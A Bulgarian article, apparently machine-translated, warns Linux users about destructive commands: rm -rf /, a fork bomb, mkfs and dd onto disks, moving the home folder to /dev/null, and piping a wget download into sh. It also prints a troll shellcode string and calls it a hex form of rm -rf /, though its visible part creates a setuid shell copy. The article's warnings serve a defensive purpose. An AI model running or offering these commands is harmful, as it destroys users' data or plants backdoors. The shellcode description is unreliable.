Изучаването на командите, които не бива да се изпълнява, може да ви помогне да се предпазите от троловете, като същевременно увеличите разбирането си за това, как Linux работи. Това не е изчерпателно ръководство, а командите тук могат да бъдат ремиксирани по различни начини.
Имайте предвид, че много от тези команди ще бъдат опасни, само ако са с префикс Sudo на Ubuntu - те няма да работят по друг начин. На други Linux дистрибуции повечето команди трябва да се изпълняват като root.
rm -rf / - изтрива всичко!
Командата rm -rf / изтрива всичко възможно, включително файлове на твърдия ви диск и файлове на свързани сменяеми носители. Тази команда е по-разбираема, ако е разбита:
rm – Remove the following files.
- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.
/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.
Linux ще се подчини щастливо на тази команда и ще изтрие всичко, без да ви подтиква, така че бъдете внимателни, когато го използвате! Командата rm може да се използва и по други опасни начини - rm -rf ~ ще изтрие всички файлове в домашната ви папка, докато rm -rf. * ще изтрие всичките ви конфигурационни файлове.
Урокът: Обърнете внимание на rm -rf.
Прикрито rm -rf /
Ето още един фрагмент от код, който е в цялата мрежа:
char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;
Това е шестнадесетичната версия на rm -rf / – изпълнението на тази команда ще изтрие вашите файлове, сякаш сте изпълнявали rm -rf /.
Урокът: Не работете странно изглеждащи, очевидно прикрити команди, които не разбирате.
: () {: |: &};: - Въртяща бомба
Следващият ред е простичко изглеждаща, но опасна бас функция:
:(){:|: &};:
Тази къса линия определя функция на черупки, която създава нови копия на себе си. Процесът непрекъснато се възпроизвежда и копията му непрекъснато се възпроизвеждат, като бързо поемат цялото време и памет на процесора ви. Това може да доведе до замръзване на компютъра ви. Това е основно атака на отказ от услуга.
Урокът: Баските функции са мощни, дори и много къси.
mkfs.ext4 / dev / sda1 - Форматиране на твърд диск
Най- mkfs.ext4 / dev / sda1 командата е лесна за разбиране:
mkfs.ext4 – Create a new ext4 file system on the following device.
/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.
Взети заедно, тази команда може да бъде еквивалентна на стартиращия формат c: в Windows - тя ще изтрие файловете на първия ви дял и ще ги замени с нова файлова система.
Тази команда може да дойде и в други форми - mkfs.ext3 / dev / sdb2 ще форматира втория дял на втория твърд диск с файловата система ext3.
Урокът: Внимавайте да стартирате команди директно на устройства с твърд диск, които започват с / dev / sd.
command> / dev / sda - Писане директно на твърд диск
Най- команда> / dev / sda line работи по същия начин - изпълнява команда и изпраща изхода на тази команда директно на първия ви твърд диск, записвайки данните директно на твърдия диск и увреждайки вашата файлова система.
command – Run a command (can be any command.)
> – Send the output of the command to the following location.
/dev/sda – Write the output of the command directly to the hard disk device.
Урокът: Както по-горе, внимавайте да изпълнявате команди, включващи устройства с твърд диск, започващи с / dev / sd.
dd if = / dev / random of = / dev / sda - Записва ненужното на твърд диск
Най- dd ако = / dev / случаен на = / dev / sda линията също ще заличи данните на един от вашите твърди дискове.
dd – Perform low-level copying from one location to another.
if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).
of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.
Урокът: dd копира данни от едно място на друго, което може да бъде опасно, ако копирате директно на устройство.
mv ~ / dev / null - Премества Вашия домашен указател в черна дупка
/ dev / null е друго специално място - придвижването на нещо до / dev / null е същото като унищожаването му. Помислете за / dev / null като черна дупка. По същество, mv ~ / dev / null изпраща всички лични файлове в черна дупка.
mv – Move the following file or directory to another location.
~ – Represents your entire home folder.
/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.
Урокът: Характерът ~ представлява вашата домашна папка и движението на нещата / dev / null ги унищожава.
wget https://example.com/something -O - | sh - Изтегля и изпълнява скрипт
Горният ред изтегля скрипт от мрежата и го изпраща на sh, който изпълнява съдържанието на скрипта. Това може да е опасно, ако не сте сигурни какво е скриптът или ако не вярвате на неговия източник - не пускайте скрити скриптове.
wget – Downloads a file. (You may also see curl in place of wget.)
https://example.com/something – Download the file from this location.
| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.
sh – Send the file to the sh command, which executes it if it’s a bash script.
Урокът: Не изтегляйте и изпълнявайте неверен скриптове от мрежата, дори и с команда.
Знаете ли други опасни команди, които новите (и опитни) потребители на Linux не трябва да се изпълняват? Оставете коментар и го споделете!